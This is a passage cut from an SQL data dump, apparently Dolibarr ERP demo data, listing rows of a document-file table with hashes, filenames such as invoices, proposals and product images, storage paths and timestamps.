15:39:29',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(58,'e60f830c84b2808bf05d9751c6f3068c','c6fd1ef0add23afe632d043a9a9174e9',NULL,1,'POS-ORANGE-Orange.jpg','produit/POS-ORANGE','Orange.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:40:06','2019-11-28 15:40:06',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(59,'b75a9affa8454aa109032ef11578ff55','8245ba8e8e345655f06cd904d7d54f73',NULL,1,'compxp4548product.jpg','produit/COMP-XP4548','compxp4523product.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:41:23','2019-11-28 12:47:57',12,12,NULL,NULL,NULL,1,NULL,NULL,NULL),(61,'fb93ad6fc19a4b6cb10ea753706d2f82','2adadd910fe97a07bd5be0f1f27f2d28',NULL,1,'DOLIDROID-dolidroid_114x114.png','produit/DOLIDROID','dolidroid_114x114.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:49:27','2019-11-28 15:49:27',12,NULL,NULL,NULL,NULL,4,NULL,NULL,NULL),(64,'90bf4a06479f20d6642d398b60e30d76','1cff6b63ce7bdcd6607f9ccbca942810',NULL,1,'DOLIDROID-dolidroid_180x120_en.png','produit/DOLIDROID','dolidroid_180x120_en.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:50:33','2019-11-28 15:50:33',12,NULL,NULL,NULL,NULL,5,NULL,NULL,NULL),(65,'7516f3382f24055570c580f3f7a3ca6e','df61e1aca1992b564dc6d80cd6c6ae0b',NULL,1,'DOLIDROID-dolidroid_screenshot_stats_720x1280.png','produit/DOLIDROID','dolidroid_screenshot_stats_720x1280.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:51:58','2019-11-28 15:51:58',12,NULL,NULL,NULL,NULL,6,NULL,NULL,NULL),(66,'61ec0d999c2460e0a942be9760b7c1fb','8ef12c42fbada32094a633a60f5c84a7',NULL,1,'POS-Eggs-Eggs.jpg','produit/POS-Eggs','Eggs.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 17:04:06','2019-11-28 16:04:06',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(67,'abe8d329cfb52c1ba59867dfb2468047','8a0380cc9887f325e220c0f7503835c7',NULL,1,'POS-Chips-Chips.jpg','produit/POS-Chips','Chips.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 17:09:19','2019-11-28 16:09:19',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(71,'1008ec7576e1b970f952044d10245f72','653abb50f7c2cc410dac1fd913ad8769',NULL,1,'BOM1911-0001_bom.odt','bom/BOM1911-0001','','',NULL,NULL,'generated',NULL,'2019-11-28 18:20:01','2020-01-08 15:41:49',12,12,NULL,NULL,NULL,1,NULL,'bom_bom',6),(72,'a0942ded45efc068ca59dd3360cbb0e2','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/POS-CARROT','/home/ldestailleur/git/dolibarr_11.0/documents/produit/POS-CARROT/FR-CAR-Carrot.jpg','',NULL,NULL,'unknown',NULL,'2019-11-28 19:02:01','2019-11-28 18:02:01',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(73,'c928f00b0bc1a40061408e63a9c204ee','0221dc3c79e0123b451b5630bf2177b0',NULL,1,'ER1912-0001-IMG_20191219_161331.jpg','expensereport/ER1912-0001','IMG_20191219_161331.jpg','',NULL,NULL,'uploaded',NULL,'2019-12-20 20:04:42','2019-12-20 16:34:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(74,'4d710f4f262d3caca82b2c7380e0addc','4ff0ba258dc0f8d3b78d919557ee7996',NULL,1,'ER1912-0001.pdf','expensereport/ER1912-0001','','',NULL,NULL,'generated',NULL,'2019-12-20 20:04:46','2019-12-20 16:34:26',12,12,NULL,NULL,NULL,2,NULL,'expensereport',2),(75,'bcb6930c79f5a3f55f9327561a07daa1','0e81807ac4e0380ddd3d841a20f339c2',NULL,1,'CO7001-0027.pdf','commande/CO7001-0027','','',NULL,NULL,'generated',NULL,'2019-12-20 20:42:23','2020-01-15 18:41:17',12,12,NULL,NULL,NULL,2,NULL,'commande',88),(76,'eabd0e0a63029bf40288c3394dcb984c','96cd89d2ba43d4f9f0f19b49a6d3754a','1Hlh7n01E5KY5i9rtvhiq1TYL16JMToN',1,'PR1702-0027.pdf','propale/PR1702-0027','','',NULL,NULL,'generated',NULL,'2019-12-20 20:49:43','2019-12-20 16:50:23',12,12,NULL,NULL,NULL,1,NULL,'propal',29),(77,'69b67f70d71893409d37bbab8af92b70','0af7c686c201614d7002fe5591d69c39','73N0swrtTQc3d0bD9C5sIDUP5n6vkCK1',1,'FS1301-0001.pdf','facture/FS1301-0001','','','',NULL,'generated',NULL,'2019-12-21 19:40:22','2023-02-06 12:18:07',12,12,NULL,NULL,NULL,1,NULL,'facture',148),(78,'d5a97833baecb8e92c859c755ece9666','e511f26c4964058a24535f8db8324f89',NULL,1,'thirdparty.ods','societe/10','','',NULL,NULL,'generated',NULL,'2019-12-21 20:32:17','2019-12-21 19:32:17',12,NULL,NULL,NULL,NULL,1,NULL,'societe',10),(81,'87209bfcfd010c1b6ef3c7fec33d5249','f5808fa30e5fa61be5654298c185a53a',NULL,1,'SI2001-0006.pdf','fournisseur/facture/2/2/SI2001-0006','','','',NULL,'generated',NULL,'2020-01-01 17:48:01','2023-01-10 16:24:45',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',22),(82,'1dabc11d324fded7042876ef648c2fde','e272a4e34acef46c0d7c21dd0100e0d1',NULL,1,'SA2001-0001.pdf','fournisseur/facture/3/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 17:49:33','2020-01-01 13:50:41',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',23),(83,'78b31a74494c6e3fb731c291167e5fac','820f9bd8dd11056272a5ded19f61d4fe',NULL,1,'(PROV3).pdf','fournisseur/commande/(PROV3)','','','',NULL,'generated',NULL,'2020-01-01 20:11:15','2023-01-10 16:20:21',12,12,NULL,NULL,NULL,1,NULL,'commande_fournisseur',3),(84,'dae316f89653eb19b2784c4fb41c9488','3ab1a48c8fcf3c9480243949f4ef685f',NULL,1,'SA2001-0001.pdf','fournisseur/facture/4/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:17:15','2020-01-01 16:17:46',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',24),(85,'d0f2428e33e2b6244ac4b72fab4f0f14','45ad94c796cf1918e8888bb906cfea30',NULL,1,'(PROV25).pdf','fournisseur/facture/5/2/(PROV25)','','',NULL,NULL,'generated',NULL,'2020-01-01 20:19:51','2020-01-01 19:19:51',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',25),(86,'bb7830bd179da2e9f9ef3579ea2f8208','cd5145fa64d57ee69a572f9cbc67b15c',NULL,1,'SA2001-0001.pdf','fournisseur/facture/6/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:20:13','2020-01-01 16:20:22',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',26),(87,'66cbad4f05ade84391d4ea3c502fb7a3','872e8072820f9b3014e8250ee7b00f86',NULL,1,'SA2001-0001.pdf','fournisseur/facture/7/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:21:51','2020-01-15 18:23:28',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',27),(88,'78dedfa0065ebb065040515c8a4fe0f4','116c1b16fb98a36f5a429ebe674a5036',NULL,1,'SI2001-0007.pdf','fournisseur/facture/8/2/SI2001-0007','','',NULL,NULL,'generated',NULL,'2020-01-01 20:22:48','2020-01-01 17:20:36',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',28),(89,'2650611699dbc2cb0d6db2c93cb8ff9d','e6f96dca09e39bfeb3003e38eecd4b84',NULL,1,'(PROV29).pdf','fournisseur/facture/9/2/(PROV29)','','',NULL,NULL,'generated',NULL,'2020-01-01 20:50:57','2020-01-01 19:50:57',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',29),(90,'d3d6a55beba28be5ce57e806ad037a70','9f3a682f921c24d07722d259574488ed',NULL,1,'SA2001-0002.pdf','fournisseur/facture/0/3/SA2001-0002','','',NULL,NULL,'generated',NULL,'2020-01-01 20:51:32','2020-01-01 16:51:37',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',30),(92,'c3a7802251274920507482a72761c511','be7b12881c652a68f0256e00e22acfc9',NULL,1,'(PROV37).pdf','propale/(PROV37)','','',NULL,NULL,'generated',NULL,'2020-01-06 00:44:16','2020-01-05 20:46:07',12,12,NULL,NULL,NULL,1,NULL,'propal',37),(93,'43e9e215d44cbe8854dc64bfe01a7c1a','218b07855dea60994770bf4608757452',NULL,1,'SI1601-0004.pdf','fournisseur/facture/9/1/SI1601-0004','','',NULL,NULL,'generated',NULL,'2020-01-06 00:48:42','2020-01-05 23:48:42',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',19),(94,'29441461d34abe37158ca6bb35938a3a','6b805071f64924fa1309d51fef1ea839',NULL,1,'courrier_consult.odt','societe/29','','',NULL,NULL,'generated',NULL,'2020-01-06 21:23:24','2020-01-06 17:46:52',12,12,NULL,NULL,NULL,1,NULL,'societe',29),(95,'e5b8ef885741a002f6129051b85e5e09','6603225670e52fcb3a5e2f25de806668',NULL,1,'(PROV38).pdf','propale/(PROV38)','','',NULL,NULL,'generated',NULL,'2020-01-13 17:25:28','2020-01-13 16:25:28',12,NULL,NULL,NULL,NULL,1,NULL,'propal',38),(96,'94c2a18a5f7bd023b512e46a1cc1e5c8','1d9edda94d935fe9d75d5478df4f89ac',NULL,1,'(PROV2).pdf','supplier_proposal/(PROV2)','','',NULL,NULL,'generated',NULL,'2020-01-15 22:48:12','2020-01-20 11:19:25',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',2),(97,'72e38084f638adb55e3e621dd3f42ab5','d278e84671f7dc4acc4882f047334846',NULL,1,'AC2001-0001.pdf','facture/AC2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-16 02:22:16','2020-01-16 01:23:11',12,12,NULL,NULL,NULL,1,NULL,'facture',221),(98,'d9ceb752bbb85ea0fb29c8cb27d22e1e','0719ac0dccd4a4e1b8fbdc3a8e9fa7c1',NULL,1,'AC2001-0002.pdf','facture/AC2001-0002','','',NULL,NULL,'generated',NULL,'2020-01-16 02:33:27','2020-01-16 01:36:48',12,12,NULL,NULL,NULL,1,NULL,'facture',224),(99,'33d354694658b4697adcd9a50a292113','8abae3ad7ad4a33ad42ab166ddaee54c',NULL,1,'(PROV225).pdf','facture/(PROV225)','','',NULL,NULL,'generated',NULL,'2020-01-16 02:37:55','2020-01-16 01:37:55',12,NULL,NULL,NULL,NULL,1,NULL,'facture',225),(100,'f4fbae718d9c9bc535d56a6638c1cdc2','df8714b30c43b5766ebb8cf64ef85e16',NULL,1,'(PROV226).pdf','facture/(PROV226)','','',NULL,NULL,'generated',NULL,'2020-01-19 14:21:03','2020-01-19 13:21:21',12,12,NULL,NULL,NULL,1,NULL,'facture',226),(101,'b51a925a795e1652820d987266a31658','30a1d7094b174bbc67824a65cbec5db3',NULL,1,'AC2001-0003.pdf','facture/AC2001-0003','','',NULL,NULL,'generated',NULL,'2020-01-19 14:23:39','2020-01-19 13:51:48',12,12,NULL,NULL,NULL,1,NULL,'facture',227),(102,'1b7f8c128060879ec7f78712fa36ecd0','8df02e7604f77bb8dd6cc1ec7d1d3c90',NULL,1,'AC2001-0004.pdf','facture/AC2001-0004','','',NULL,NULL,'generated',NULL,'2020-01-19 14:49:58','2020-01-19 14:13:07',12,12,NULL,NULL,NULL,1,NULL,'facture',228),(103,'ee00344302cff6530168fb9e08083780','230789608ee4a42a05037f934e706fa5',NULL,1,'(PROV217).pdf','facture/(PROV217)','','',NULL,NULL,'generated',NULL,'2020-01-19 14:53:10','2020-01-20 11:25:41',12,12,NULL,NULL,NULL,1,NULL,'facture',217),(104,'faf6da4cf7cf49275da5786e36b3173c','50acdf0099c27348ede81656e5b3ddf2',NULL,1,'(PROV3).pdf','supplier_proposal/(PROV3)','','',NULL,NULL,'generated',NULL,'2020-01-20 12:06:40','2020-01-20 11:19:06',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',3),(105,'d82c57a3335bafcc3fb2b35d9573fe47','0125de7d577aa6c1ffe07d1451031279',NULL,1,'(PROV14).pdf','fournisseur/commande/(PROV14)','','','',NULL,'generated',NULL,'2020-01-20 12:20:17','2022-12-16 11:14:24',12,12,NULL,NULL,NULL,1,NULL,'commande_fournisseur',14),(106,'fbcfde0bfdb8e7184f5e1a72527bc53a','82e701c27779c96e01eec8517c923f45',NULL,1,'(PROV4).pdf','supplier_proposal/(PROV4)','','','',NULL,'generated',NULL,'2020-01-20 12:23:22','2023-01-10 16:32:40',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',4),(109,'e409be44e925329a41079f1ddacaa8f1','801b126a0db67b4ff32f36641f3b63b0',NULL,1,'FA1707-0026.pdf','facture/FA1707-0026','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:17','2020-01-21 09:23:17',12,12,NULL,NULL,NULL,1,NULL,'facture',229),(110,'36411c7ab830732de1d07fe824ec9e20','63ba10b5868d702a3d09da900efb0df2',NULL,1,'FA1807-0027.pdf','facture/FA1807-0027','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:28','2020-01-21 09:23:28',12,12,NULL,NULL,NULL,1,NULL,'facture',230),(111,'bfc5abd0ab78849b7e98839d27175fb4','d03351be391a0491047797e13b39e432',NULL,1,'FA1907-0028.pdf','facture/FA1907-0028','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:49','2020-01-21 09:23:49',12,12,NULL,NULL,NULL,1,NULL,'facture',231),(112,'4615aa05f2a0e8cf79ea3cb9c91e6434','6aec33a4925b66eaba4902eef6f95507',NULL,1,'APPLEPIE-home-bg.jpg','produit/APPLEPIE','/home/ldestailleur/git/dolibarr_14.0/documents/produit/APPLEPIE/APPLEPIE-home-bg.jpg','',NULL,NULL,'unknown',NULL,'2021-04-15 07:37:21','2021-04-15 05:37:21',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(113,'98147caa708e17b81d851255d78136fe','cad7a8c5fb4a6e58cb8fe31d0741efcb',NULL,1,'BOM2202-0002_bom.odt','bom/BOM2202-0002','','','',NULL,'generated',NULL,'2022-02-07 13:54:12','2022-02-07 12:54:12',12,NULL,NULL,NULL,NULL,1,NULL,'bom_bom',7),(114,'b60ce46c6df53d0d2be6b634fd59a0e2','2da69994036589fb6ed5d6447c706f1e',NULL,1,'(PROV2).pdf','expensereport/(PROV2)','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/(PROV2)/(PROV2).pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(115,'720ab60eb30a6bcdc2fde9966bd4d507','4a896290245451eb0aeefca964da0a4c',NULL,1,'ADMIN-ER00001-150101.pdf','expensereport/ADMIN-ER00001-150101','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/ADMIN-ER00001-150101/ADMIN-ER00001-150101.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(116,'9c3cf03e9110bea5773a9a930fabd140','a6b341e26d6a3a845fd076ffb59f67ac',NULL,1,'ADMIN-ER00002-150101.pdf','expensereport/ADMIN-ER00002-150101','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/ADMIN-ER00002-150101/ADMIN-ER00002-150101.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(117,'d4578ab53f6062a3b9e1b639ac263cb2','dcc82dc04e009b3f802b45e89e6a8005',NULL,1,'AV1212-0001.pdf','facture/AV1212-0001','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1212-0001/AV1212-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(118,'6979efa40f8cd6b7e6190e65a74a1871','2e348700e6ffe06940e5b4664f1e4c00',NULL,1,'AV1212-0002.pdf','facture/AV1212-0002','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1212-0002/AV1212-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(119,'8a25b6f715af52a124e607a9fb8cf44d','24eaab70810d4dd5a408e8dea2421845',NULL,1,'AV1303-0003.pdf','facture/AV1303-0003','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1303-0003/AV1303-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(121,'0fb69e8b0122c99e8a6621c3725c0c99','20d63c662089ba079458f5b5823941ea',NULL,1,'FA1107-0006.pdf','facture/FA1107-0006','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1107-0006/FA1107-0006.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(122,'9fce585dc7f4ff978f3ea0a661bf236f','7b6d2d3e08e27f88065147a8489bcdad',NULL,1,'FA1108-0003.pdf','facture/FA1108-0003','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0003/FA1108-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(123,'37f49ada746d85306d3caf00db00dc31','9ec04bd1d260b2f5b834be1ed19270b2',NULL,1,'FA1108-0004.pdf','facture/FA1108-0004','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0004/FA1108-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(124,'d4a0bbcb3766d837ed6dbc78a14af28d','dfcb5cae33b8f169ff605b7b5772b4b5',NULL,1,'FA1108-0005.pdf','facture/FA1108-0005','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0005/FA1108-0005.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(125,'ff2407993881ea0529178311eff5b802','76d07fe1d122421c440f9e14cf9c7f86',NULL,1,'FA1108-0007.pdf','facture/FA1108-0007','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0007/FA1108-0007.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(126,'9245fd14ecc9e3dd6920e65fb84ec932','3ec8dd059a2de25f93b367a7b5abc7f6',NULL,1,'FA1212-0009.pdf','facture/FA1212-0009','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0009/FA1212-0009.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(127,'39351c10bac1952a9c3e7505b77a3495','0e4b01dfa860e92dc125fa8b3e777577','eKKGUw8m0936yhH3DAjb2lKr4R6xiHZ0',1,'FA1212-0009_invoice.odt','facture/FA1212-0009','','','',NULL,'generated',NULL,'2022-02-07 14:27:46','2023-02-04 15:42:34',12,12,NULL,NULL,NULL,2,NULL,NULL,NULL),(128,'67f648b8fe1984bcb3ea2620fbc2828a','fe6f8a3b4b1ceecbd0838ce545afc877',NULL,1,'FA1212-0011.pdf','facture/FA1212-0011','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0011/FA1212-0011.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(129,'5ddfdaeb0c7ca1cd31a385432912c924','d3ed67c68c415bb1ab1fbe70dad86057',NULL,1,'FA1212-0021.pdf','facture/FA1212-0021','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0021/FA1212-0021.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(130,'175d1934a611fcb705b2f99736c9c4db','05cd7899fe75c0373cccfeb0d4effa35',NULL,1,'FA1212-0023.pdf','facture/FA1212-0023','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0023/FA1212-0023.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(131,'0a6af0756aaa8297a0d642377b607963','1c951063e26b48eebe54eb92220e78d8',NULL,1,'FA1507-0015.pdf','facture/FA1507-0015','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1507-0015/FA1507-0015.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(132,'3ae2bd1a22d0f789d48fa5b05c21cca3','1514b9abebb7b9704cda5da4c52b7864',NULL,1,'FA1507-0015_invoice.odt','facture/FA1507-0015','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1507-0015/FA1507-0015_invoice.odt','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(133,'566749a19fbc251dc4ed0e1c67a89932','25f06a8e8dd7d0cfbea72e6b2c109594',NULL,1,'PR1007-0001.pdf','propale/PR1007-0001','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1007-0001/PR1007-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:47','2022-02-07 13:27:47',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(134,'2626893a8eba25219aa008f0e3775690','0e6c19224bbdfc90415b00a1bd766e32',NULL,1,'PR1007-0002.pdf','propale/PR1007-0002','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1007-0002/PR1007-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(135,'22878d01d869b50e51c296f327c8c0af','aaf231d3683671621f82ebb5fc15d096',NULL,1,'PR1302-0005.pdf','propale/PR1302-0005','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0005/PR1302-0005.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(136,'c566106ea2aad8c887e1e5887e427426','cef4c0c04d87a3e4d2564254489f47b6',NULL,1,'PR1302-0006.pdf','propale/PR1302-0006','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0006/PR1302-0006.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(137,'f0670e34a50062c94a6ec71f195ffd7a','0dfaaff511fb6e8ffa94d085ac05955c',NULL,1,'PR1302-0007.pdf','propale/PR1302-0007','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0007/PR1302-0007.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(138,'142509d21a32e9a3eeefffcb391bf2af','407e9fcdc7f001073628958feddbdef6',NULL,1,'CF1007-0001.pdf','fournisseur/commande/CF1007-0001','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1007-0001/CF1007-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(139,'7a90f8625485a919e9d1fe4b873a769e','67aa4197014ab5792d9fb2fd9fb7ce71',NULL,1,'CF1007-0002.pdf','fournisseur/commande/CF1007-0002','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1007-0002/CF1007-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(140,'f0203e34a81efc7d710b86295f4a4277','e5ec02a09187711e6d2451e3d174e133',NULL,1,'CF1303-0004.pdf','fournisseur/commande/CF1303-0004','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1303-0004/CF1303-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(141,'ab2421790a1602da8653b02dc208d731','c4b1825aaf6b3e90ec5c22abb3b251ca',NULL,1,'CO1107-0002.pdf','commande/CO1107-0002','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0002/CO1107-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(142,'c1907b95156a0964a79a3c4bcaef8498','f558a23ce25e7983d17ce4f567fde4b0',NULL,1,'CO1107-0003.pdf','commande/CO1107-0003','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0003/CO1107-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(143,'1034b7c11032ba4305509636e44e66c7','b81bf55855474463bb6875e5ade642cc',NULL,1,'CO1107-0004.pdf','commande/CO1107-0004','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0004/CO1107-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(144,'253b69fed906e64b7f4c2bb33d7917c2','86464c6b7b21087c3310cd15442d6508',NULL,1,'CO1108-0001.pdf','commande/CO1108-0001','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1108-0001/CO1108-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(145,'15f4b675acf2c6fa346c80d82ecaaec5','496cca40073d7b8675e0eebb0ea230b5',NULL,1,'RQ1607-0001.pdf','supplier_proposal/RQ1607-0001','/home/ldestailleur/git/dolibarr_15.0/documents/supplier_proposal/RQ1607-0001/RQ1607-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:01','2022-02-07 13:28:01',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(146,'6af0fd1b03e31747a27f2355d6dd57b2','12a1917f8a109e352faa4fbf8f532b1a',NULL,1,'16.pdf','fournisseur/facture/6/1/16','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/facture/6/1/16/16.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:03','2022-02-07 13:28:03',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(147,'b72722a6b79293f4b9d5534836f754a8','5c9ae7974767ca79f90766e46d1f97f8',NULL,1,'17.pdf','fournisseur/facture/7/1/17','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/facture/7/1/17/17.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:03','2022-02-07 13:28:03',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(148,'26157b77d37c340836aedb6d78c9ce4b','81b6d23d5c5ac95aabdd4503f6b2bd79',NULL,1,'alberteinstein.jpg','users/1','/home/ldestailleur/git/dolibarr_15.0/documents/users/1/alberteinstein.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(149,'d10c2a0733366a3011bb9db79bcaec17','ebc9978c671bae5e8e0350900957a9bd',NULL,1,'mariecurie.jpg','users/10','/home/ldestailleur/git/dolibarr_15.0/documents/users/10/mariecurie.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(150,'8c6c2f871ebfbd5dc68b694732ec3a4c','d884a4dc29ce476190fd28bdc8dbcded','a62120589ZKehLdfOEtn6PTWBQ8Ftmgs',1,'person4b.jpeg','users/11','/home/ldestailleur/git/dolibarr_15.0/documents/users/11/person4.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2023-01-14 12:09:30',12,12,NULL,NULL,NULL,1,NULL,NULL,NULL),(151,'e1606108d2271bfd9e7ec19dece0d1f7','d5f64b15058a4c95ec1fffb39fed360e',NULL,1,'person6.jpeg','users/12','/home/ldestailleur/git/dolibarr_15.0/documents/users/12/person6.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(152,'4cf03a580acfb6f91b04e28f5fafb6d8','18a71a131e519d3f2aca255371343e68',NULL,1,'person7.jpeg','users/13','/home/ldestailleur/git/dolibarr_15.0/documents/users/13/person7.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 